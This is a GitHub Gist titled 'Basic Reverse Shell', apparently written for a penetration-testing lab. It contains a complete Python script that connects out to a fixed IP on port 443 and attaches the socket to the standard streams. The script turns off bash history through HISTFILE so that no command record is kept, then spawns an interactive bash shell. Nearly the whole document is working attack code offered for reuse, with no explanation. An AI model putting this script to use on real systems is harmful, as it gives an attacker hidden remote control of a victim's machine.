Skip to content

Instantly share code, notes, and snippets.

@mariohercules
Last active October 22, 2018 23:31
Show Gist options
  • Save mariohercules/127fac5b39217eeceb58a80c307565b0 to your computer and use it in GitHub Desktop.
Save mariohercules/127fac5b39217eeceb58a80c307565b0 to your computer and use it in GitHub Desktop.
Basic Reverse Shell
#!/usr/bin/python
def con():
import socket, time,pty, os
host='10.10.14.13'
port=443
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment